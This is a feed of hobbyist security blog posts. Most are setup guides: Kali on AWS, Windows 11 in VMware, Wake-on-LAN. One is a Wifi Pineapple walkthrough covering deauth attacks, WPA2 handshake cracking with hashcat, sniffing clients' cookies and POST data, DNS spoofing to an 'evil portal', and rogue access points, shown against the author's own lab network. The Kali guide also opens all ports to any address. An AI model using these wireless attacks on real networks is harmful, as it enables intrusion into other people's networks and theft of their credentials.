<h2 id="heading-deployment">Deployment</h2>
<p>Head to the AWS Management Console and search for <code>EC2</code>. EC2 is amazon's version of a VPS.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983308163/c209e1c9-57ef-4d8c-8d8f-3e20e4fc75e2.png" alt="Deploying Kali on AWS" /></p>
<p>Once there, hit <code>Launch Instance</code> on the dashboard as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983310042/dcee05fd-6e3a-4810-bf87-8397f909f40b.png" alt="Deploying Kali on AWS" /></p>
<p>Next hit <code>AWS Marketplace</code>. This would show us a list of "ready to deploy" VMs that we can choose from.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983311543/76aa6dc6-31c7-4c13-a24c-1d706904eeb0.png" alt="Deploying Kali on AWS" /></p>
<p>Then, search for <code>kali</code> and hit <code>select</code>. Make sure you select the option that says <code>Free tier eligible</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983312967/e982d487-5cbf-41ff-b6fb-c3d1a410c4d4.png" alt="Deploying Kali on AWS" /></p>
<p>Once selected and verified, hit continue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983314089/6b20d1bb-231a-406c-8fb6-d29a4c69b6fe.png" alt="Deploying Kali on AWS" /></p>
<p>At the <code>Instance Type</code> page, make sure to choose <code>t2.micro</code> which lets us use the free tier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983315893/8fb49b06-be94-407f-843b-f4d772f26c7b.png" alt="Deploying Kali on AWS" /></p>
<p>[OPTIONAL] Configure the Security Group to your liking. I'm adding a rule to allow all traffic as this machine will be behind a proxy for my use case.</p>
<p>    Type - All traffic =&gt; any traffic flow in or out of the VM
    Protocol - All =&gt; Any kind of traffic going to or coming from the VM
    Port Range - 0-65535 =&gt; Allow all ports
    Source - 0.0.0.0/0 =&gt; Rules with source of 0.0.0.0/0 allow all IP addresses to access your instance</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983317736/24118d81-b5e1-4406-8bc3-5f246f008c20.png" alt="Deploying Kali on AWS" /></p>
<p>Once configured, hit Review and launch. AWS will require you to create a new ssh key pair to deploy the machine. Once created, remember to download the keypair before proceeding.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983318848/17d990de-85fb-4f3d-a6f2-8708ff0071c3.png" alt="Deploying Kali on AWS" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983320385/0dbc6cb6-40bd-42a0-a17b-e458c4198e2a.png" alt="Deploying Kali on AWS" /></p>
<p>Once the Instance State turns to <code>Running</code> we are all set!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983321443/500d8039-6409-401d-9657-b54a7fe862cd.png" alt="Deploying Kali on AWS" /></p>
<p>To verify that the system is up and running lets <code>SSH</code> into it.</p>
<p>    ssh user@host -i cloudKali.pem</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983322729/86552c71-4908-47b9-bf36-41edf4b8f3a6.png" alt="Deploying Kali on AWS" /></p>
<p>All good! we now have a kali Linux on the cloud for absolutely free!</p>
<h2 id="heading-vm-configuration">VM Configuration</h2>
<p>A GUI would definitely be better than a CLI for the use case! Let's go ahead and set up a desktop environment together with VNC so we can access this over the web or even a VNC viewer later on.</p>
<p>Let's go ahead and install XFCE and the VNC server.</p>
<p>    ┌──(kali㉿kali)-[~]
    └─$ sudo apt-get install xfce4 xfce4-goodies tightvncserver -y</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983324131/520523cc-bb52-4918-ba00-f4d4d8b44ee2.png" alt="Deploying Kali on AWS" /></p>
<p>Once that's completed, let's install the desktop base.</p>
<p>    ┌──(kali㉿kali)-[~]
    └─$ sudo apt-get install gnome-core kali-defaults kali-root-login desktop-base -y</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983325583/12193a52-d23d-4a77-868a-3e9f69f20adb.png" alt="Deploying Kali on AWS" /></p>
<p>When prompted to configure gdm3, pick <code>lightdm</code> as the default display manager as shown below. As the name suggests, this is gonna be lighter on our system.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983326951/95621749-3fa8-41df-af23-c8870fcab599.png" alt="Deploying Kali on AWS" /></p>
<p>Now that that's done, let's configure the <code>tightvncserver</code>.</p>
<p>    ┌──(kali㉿kali)-[~]
    └─$ tightvncserver          </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983328032/137c4c50-27dc-4e5e-8792-6c5b7b290252.png" alt="Deploying Kali on AWS" /></p>
<p>That's it. We're done configuring VNC and the GUI Desktop. Go ahead and onboard this VM to your favorite VNC viewers. I'll be onboarding it to my web-based VNC client that I have deployed on a proxy server. Once onboarded, you should be able to connect to the instance without any issues!</p>
<h2 id="heading-on-pc">On PC</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983329282/505b9e1a-b6f4-405c-a3db-e45e879adcab.png" alt="Deploying Kali on AWS" /></p>
<h2 id="heading-on-mobile">On Mobile</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983331639/d7000d97-1d25-4f13-940f-6c25ce5e16d6.png" alt="Deploying Kali on AWS" /></p>
<p>Pretty cool! Hope this helps someone out there :)</p>
]]></content:encoded></item><item><title><![CDATA[Installing Windows 11 on Vmware Workstation 16.2.0]]></title><description><![CDATA[I recently ran into an issue where I wasn't able to virtualize a copy of windows 11 on VMware. Here's how I got around that and managed to run a windows 11 pro VM on VMware.
Here's what It'd look like when you try to install windows 11 on VMware as a...]]></description><link>https://4pfsec.com/installing-windows-11-on-vmware-workstation-1620</link><guid isPermaLink="true">https://4pfsec.com/installing-windows-11-on-vmware-workstation-1620</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sat, 16 Oct 2021 07:20:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983365098/693ef523-0f49-4927-a4ea-c6cca38129ef.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983338806/8e7fe99f-3e94-4da6-a1f6-8b2a66853342.jpeg" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>I recently ran into an issue where I wasn't able to virtualize a copy of windows 11 on VMware. Here's how I got around that and managed to run a windows 11 pro VM on VMware.</p>
<p>Here's what It'd look like when you try to install windows 11 on VMware as always. This is due to the lack of TPM 2.0 and Secure Boot and here's how we can overcome this during virtualization.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983340852/a4e26074-eb49-4c65-a155-9addfdb25ecb.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<hr />
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li>Vmware Workstation Pro (I'll personally have not tested it on other platforms)</li>
<li><a target="_blank" href="https://www.microsoft.com/en-us/software-download/windows11">Windows 11 ISO file</a></li>
</ul>
<h2 id="heading-installation">Installation</h2>
<p>Create a new virtual machine with the wizard (Typical) as you would always do.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983342548/34506ae0-82ee-4e52-9756-7756d69460d4.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983344220/80e7a446-d6bc-4b9a-9d33-c8d4b6d989ba.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983345261/e3d1abc9-b8c3-4487-b5f8-b7ca6795b3dc.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983346197/0e07d59e-14f7-443b-a664-d7b9bb35dd94.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983347229/0337a0e8-a310-4058-bc2e-eb68b721142e.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Once the virtual machine is created, edit the virtual machine settings and change the following options as shown.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983349137/f7b34a96-8b70-4e30-bf93-799b13c7a6d8.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Enable the <code>Virtualize Intel VT-x/EPT or AMD-V/RVI</code> under the <code>Virtualization engine</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983350276/4b6ab514-9ade-4218-8e43-13da9c6b327f.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Then, head to options &gt; Advanced and enable <code>Secure boot</code> under <code>Firmware Type</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983351281/2c037c61-7a56-47bf-8253-a1ad0ef195b4.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Lastly, we need to edit the <code>.vmx</code> file which makes up the VM.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983352943/097c30ef-2152-4540-824a-3e166acddbaf.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983354116/a95e99fa-2e85-4348-8402-1a1a78d7cba3.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Head to the VM directory as shown above and add the following line as shown below.</p>
<p>    managedvm.autoAddVTPM="software"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983355456/8f05b398-d958-4e27-af31-c77768b04ea3.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Once done, boot the virtual machine as per normal and follow through with the usual Windows installation.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983356558/ff51e1af-39a4-4326-a3f2-1a6be7952b8c.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983357578/86222860-4cb1-400d-84ce-81c904679de5.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Once u see the screen shown below, you're in the clear! You will be able to install windows without any issues and virtualize it all you want!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983359453/b437385f-7f34-46ca-9efb-6cd61e4da4a9.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>Juz more proof</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983360643/99ae417c-ad02-4a31-bf63-85e9f82eeb7b.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>And once everything installs, you should see the setup page as shown below!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983361725/139419e4-93b2-4dd0-b93f-7a8843574795.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983363111/5e19f4e4-5254-44e2-b1af-756d1ff272b3.png" alt="Installing Windows 11 on Vmware Workstation 16.2.0" /></p>
<p>😊 Hope this helped someone out there struggling with this issue! 💯</p>
]]></content:encoded></item><item><title><![CDATA[Enabling Wake-on-Lan on Windows 11]]></title><description><![CDATA[WOL is a pretty neat feature that allows a user to boot a pc via another server/system on the same network. For my use case, this helps me save electricity whenever I don't need my system to be running. My Windows 10 setup stopped functioning after t...]]></description><link>https://4pfsec.com/enabling-wake-on-lan-on-windows-11</link><guid isPermaLink="true">https://4pfsec.com/enabling-wake-on-lan-on-windows-11</guid><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Fri, 15 Oct 2021 20:16:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983382614/7342bf06-14a6-4096-b34a-1767e7c645e3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983370886/395e9c2e-6963-448e-9665-45baf25d6265.jpeg" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>WOL is a pretty neat feature that allows a user to boot a pc via another server/system on the same network. For my use case, this helps me save electricity whenever I don't need my system to be running. My Windows 10 setup stopped functioning after the upgrade to Windows 11. Here's how I got it working once again after the upgrade.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li>Ensure that the motherboard supports WOL and the feature is enabled in bios</li>
<li>A system with Windows 10/11</li>
</ul>
<h2 id="heading-wol-setup">WOL Setup</h2>
<p>To set up WOL, we need to first identify the ethernet adapter we want to use for WOL on the system. Hit <code>Windows + R</code> , enter the following command and hit <code>enter</code>.</p>
<p>    ncpa.cpl</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983372797/65ad7895-6720-4817-aa20-17f98fd438f2.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Next, locate your Ethernet adapter and head to the properties.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983374695/12a20d73-82e2-4a4a-aa69-659f71b6960c.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Hit configure once the ethernet properties window pops up.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983375810/918abab2-f125-456f-ab06-26c316c63b01.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>After a new window pops up, head to the advanced tab and set <code>Wake on Magic Packet</code>'s value to <code>Enabled</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983377028/71df33a9-b0ad-4c60-ac8e-b52c13ec1f2a.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Next, we need to change some power management settings for the feature to work well. I missed out on a step during this step which cost me a couple of hours ☹️. Hit <code>Windows + R</code> , type the following command and hit <code>Enter</code>.</p>
<p>    powercfg. cpl</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983378062/e4c18c42-70e5-47f0-9927-0890fcbb1814.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Then, select <code>Change Plan Settings</code> for whichever plan you are currently using and hit <code>Change advanced power settings</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983379009/e2b17ce1-72ed-4aaa-8052-40cfdde8a2e8.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Head down to the <code>PCI Express</code> option and set it to <code>Off</code> as shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983380285/5e22bdf9-22a0-4eb2-bdd7-20676f53b004.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Once that's done, head back to power options and select <code>Choose what the power buttons do</code> , hit <code>Change settings that are currently unavailable</code> and uncheck <code>Turn on fast startup</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983381381/9ea463a0-8342-4d51-b0ca-613ca2b2bd28.png" alt="Enabling Wake-on-Lan on Windows 11" /></p>
<p>Save changes and the system's all good to go! All that's left is to use another machine in the same local network and send a WOL magic packet to the router while specifying the MAC address of the windows machine's network adapter.</p>
<p>Hope you didn't waste hours figuring this out 😄!</p>
]]></content:encoded></item><item><title><![CDATA[Wireless Hacking with the Wifi Pineapple 🍍]]></title><description><![CDATA[Wifi Penetration testing was always something I wanted to pick up. I recently got my hands on the hardware for it thanks to a mentor of mine which enabled me to perform a range of wireless attacks in my home lab environment! If you're interested in s...]]></description><link>https://4pfsec.com/wireless-hacking-with-the-wifi-pineapple</link><guid isPermaLink="true">https://4pfsec.com/wireless-hacking-with-the-wifi-pineapple</guid><category><![CDATA[tools]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sun, 08 Aug 2021 16:27:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983461533/e88d7596-bfe6-4f3b-afba-ba811c7b0dea.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983386972/0f2bdde3-aa2d-4838-9132-5dc681938d36.jpeg" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Wifi Penetration testing was always something I wanted to pick up. I recently got my hands on the hardware for it thanks to a mentor of mine which enabled me to perform a range of wireless attacks in my home lab environment! If you're interested in setting up your own Wifi Pineapple, check out my in-depth guide over on <a target="_blank" href="https://repo.4pfsec.com/wireless-penetration-testing/wifi-pineapple-tetra">my repo site</a>!</p>
<hr />
<h1 id="heading-capturing-wireless-handshake">Capturing Wireless Handshake</h1>
<p>Like every other penetration test, this starts with recon too! The first step to the attack would be to identify our "target". In this case, I will be attacking my <strong>own network</strong>.</p>
<h2 id="heading-recon">Recon</h2>
<p>Like every other penetration test, this starts with recon too! The first step to the attack would be to identify our "target". In this case, I will be attacking my <strong>own network</strong>.</p>
<h3 id="heading-scanning">Scanning</h3>
<ul>
<li>Access the Recon Tab</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983388311/3d217c07-fe8b-4e1f-ac78-14d17f835561.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<ul>
<li>Setup Scan Settings and Run Scan</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983389293/51585269-2b95-46e4-9ff7-e63b38211bf7.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<ul>
<li>Running Scan</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983390391/515c6b75-c232-4f53-8900-9bb90fb8ceb6.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<hr />
<h1 id="heading-targetting">Targetting</h1>
<p>Once the scan is left to run for a short period of time, multiple targets should start popping up (As seen below). All these networks are the ones that are in the range of the Wifi 🍍.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983391956/ccf2c0be-4905-47e4-9b57-9d2719f89348.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h2 id="heading-target-network">Target Network</h2>
<p>Here's my network which I'm gonna be attacking! (shown below)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983393819/2ade5364-3a2e-4ca2-9556-70bfa26115f5.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>It's evident that one client is currently authenticated with the network. The MAC address of the client is shown right below the router's MAC.</p>
<h1 id="heading-attacking">Attacking</h1>
<p>Now that we have our target and have verified that there are clients connected to it, we can conduct a deauth attack on the network and listen for handshakes destined to the network. Deauthenticating clients from a network will force them to reconnect to it. While the reconnection is happening, we would be able to sniff and capture the handshake which we can then use to crack :)</p>
<h2 id="heading-launching-attack">Launching Attack</h2>
<p>Hit the dropdown on the <code>security</code> tab</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983395169/fd13eba0-73b1-4b51-bdf8-651abd782e6c.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Hit <code>Start Capture</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983396459/2efc9342-7de4-4b7c-903b-fdebf3da8ff0.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Hit <code>Deauth</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983397826/169bfefc-21e7-4526-80d3-008ce9b011f6.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Successful Capture of handshake</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983399949/29d4bb62-9e57-4d74-ad64-19d9c76efdc6.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>At this point, we have obtained a capture of the handshake which can then be used to crack the Pre-Shared Key (PSK) of the network with a trusty wordlist.</p>
<h2 id="heading-live-attack-on-client">Live Attack (On client)</h2>
<p>This is what the client would witness when the attack is underway. Most of the time we wouldn't even notice this happening when we are out and about, going through our regular day.</p>
<h3 id="heading-mobile">Mobile</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983402417/7bf2c063-3efe-4390-b7de-4aa9106de36c.gif" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h3 id="heading-desktop">Desktop</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983404055/f2442f65-4929-4cc2-ae9e-d55fb15c3dc7.gif" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<hr />
<h1 id="heading-cracking-wpa2-handshake">Cracking WPA2 Handshake</h1>
<p>This section will cover how to crack WPA2 handshakes captured with the previously showcased attack vector</p>
<h1 id="heading-cracking">Cracking</h1>
<p>We need to convert the captured <code>.pcap</code> file into <code>.hccapx</code> format in order to start cracking with it. There's a tool named <code>cap2hccapx</code> which can help us do this. However, we first need to download and compile it on our unix system.</p>
<h2 id="heading-compiling-cap2hccapx"><strong>Compiling cap2hccapx</strong></h2>
<p>Downloading Source</p>
<p>wget https://raw.githubusercontent.com/hashcat/hashcat-utils/master/src/cap2hccapx.c</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983406783/13c1f703-4bbb-4590-b251-e41a3df66154.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Compiling Tool</p>
<p>    gcc -o cap2hccapx cap2hccapx.c</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983408220/73f372af-da54-4638-baf5-ea23a725131e.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Testing Tool</p>
<p>    ./cap2hccapx</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983410647/5ddbc0c2-811b-47b5-99ae-4402eff6e8a1.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h2 id="heading-converting">Converting</h2>
<p>Now that we have the tool compiled and ready to go, we can convert the file and prep it for cracking!</p>
<p>    cap2hccapx E4-6F-13-FA-AD-E0_partial.pcap  capture.hccapx</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983412287/4554a979-2b7e-4afd-bce5-5cc238ff76e9.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h2 id="heading-cracking-with-hccapx">Cracking with .hccapx</h2>
<p>I'll be using Hashcat for the cracking on my host machine. <a target="_blank" href="https://4pfsec.com/hashcat-password-cracking/">Here's</a> a post where I explain why cracking on the host machine is better 😊!</p>
<p>    .\hashcat.exe -m 2500 .\hashes\capture.hccapx .\wordlists\rockyou.txt --force</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983414869/7a1d3bba-3819-4e2a-8147-234d769d1222.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>    e46f13faade0:c6adf262679d:Nee2.4:tinkerbell</p>
<p><strong>tinkerbell</strong> is the PSK of the network in question</p>
<p>We were successfully able to crack the handshake and retrieve the password to the lab network!</p>
<hr />
<h1 id="heading-modules">Modules</h1>
<p>This section contains information about community modules that can be used on top of the PineAP Attack</p>
<p>Background</p>
<p>The WiFi Pineapple was created with modularity in mind. The WiFi Pineapple supports community-developed modules in addition to the system modules supplied with the WiFi Pineapple, such as Recon, Clients, and PineAP. The WiFi Pineapple API is used by several community-developed modules to expand functionality. This API can be used by anybody to build modules for the WiFi Pineapple.</p>
<h1 id="heading-modules-1">Modules</h1>
<p>Let's take a look at some of the community-made modules in this section!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983416966/27c7e715-a0eb-4ce2-b3be-5ea96f998247.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>We'll assume we already got our target to connect to our rogue network beforehand</p>
<hr />
<h2 id="heading-tcpdump">TcpDump</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983418662/932cd063-1dd1-4a12-bbfa-5402c0784d35.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>This module is pretty self-explanatory. It assists us by dumping all network traffic generated by our clients. This module comes in very handy in case when we want to inspect our client's network traffic for some insecure traffic and possibly sniff out some passwords or files that were transferred.</p>
<h3 id="heading-demo">Demo</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983420788/70c5d149-b892-48f9-91b3-979e727eb300.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Hit start and we'll be running</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983422356/3398946f-590d-4343-b685-f338ed7c4592.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Once done, hit stop and download the capture for analysis</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983423841/3a3fdaa1-8bfe-44a7-9569-9351b260301c.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983425296/e2e660c1-c1d9-49a8-94b4-96f160311e37.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<h3 id="heading-analysis">Analysis</h3>
<p>We can simply open the capture up with Wireshark and proceed with our analysis.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983427133/959ef523-a7fc-4367-9ce4-609c48abd483.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<hr />
<h2 id="heading-dwall">DWall</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983429691/52008d6a-e8d9-4535-a69e-f054a4590985.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>DWall is similar to TCPdump, but it focuses on web! DWall display's Plaintext <strong>HTTP</strong> URLs, Cookies, POST DATA, and images from browsing clients. This has a similar issue to TCPdump. We will only be able to see insecure traffic!</p>
<h3 id="heading-demo-1">Demo</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983431904/57221ef5-5eaf-4331-8d4e-328aea1cf66d.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Hit start listening to start capturing web traffic from clients</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983433560/f622ccef-27f2-4b69-87bd-131fc9f1d485.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>As the Clients browse insecure sites, their data would be relayed to us on this page (as shown below)</p>
<p><strong>Client View</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983435356/fa28d517-7aee-4ba2-8b7b-284de904700e.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p><strong>Wifi 🍍 View</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983437423/4e973dee-dd86-4780-be62-38f8f6e6c3a1.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<hr />
<h2 id="heading-dnsmasq-spoof">DNSMasq Spoof</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983439058/2d9dd3c8-16a2-4085-ad75-9ae0344c5b73.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>This module forges replies to arbitrary DNS queries using DNSMasq.</p>
<h3 id="heading-demo-2">Demo</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983441145/e7b57992-6c0a-4579-9477-28d5d2d95966.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Hit Start to run the spoofer</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983442866/a71d4ad4-eb32-43fe-aba7-286f70895652.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Add a custom host entry to redirect hosts</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983444733/32089b76-cf30-4309-805f-fe1f0e3e7d55.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>I'll be adding a fake entry for <code>example.com</code>. <code>example.com</code> is an actual site that people can access on the web. The real site looks like the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983446662/fbd13889-e0b1-4737-98c3-478a9d101ff0.png" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<p>Now that we have pointed it to a different IP address containing our "evil portal", let's see what happens to the clients connected to our rogue network.</p>
<h3 id="heading-live-dns-attack">Live DNS Attack</h3>
<p>Here we can see one of the rogue network's clients navigating to <code>example.com</code> but its totally different from what the actual website is. This shows that an attacker/man-in-the-middle is able to easily reply falsely to your DNS queries and this is highly likely to end up as a phishing attack.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1680983447813/a90a3eb9-30e5-4ebd-9c7f-f3882f28e423.gif" alt="Wireless Hacking with the Wifi Pineapple 🍍" /></p>
<hr />
<h1 id="heading-pineap">PineAP</h1>
<p>This section contains information on PineAP and how it can be used</p>
<h1 id="heading-background">Background</h1>
<p>PineAP is a powerful, modular rogue access point suite that helps WiFi auditors collect clients by imitating Preferred Networks. Leveraging PineAP, we are able to see what SSIDs devices are trying to look for. Using that information and PineAP's features, we are able to advertise ourselves as that SSID which the device is looking for.</p>
<h2 id="heading-example">Example</h2>
<p>Let's say you were authenticated to your home network named <code>4pfHome</code> . Your phone will then try to look for that same SSID when you're outside and have your WIFI on. PineAP will then see this and advertise itself as <code>4pfHome</code> to your device. If connected, you will be one of Wifi 🍍's many clients, and that's not good. Let's take a look at how it's done!</p>
<h1 id="heading-live-attack">Live Attack</h1>
<p>Prior to launching the attack, the PineAP first has to be set up to listen.</p>
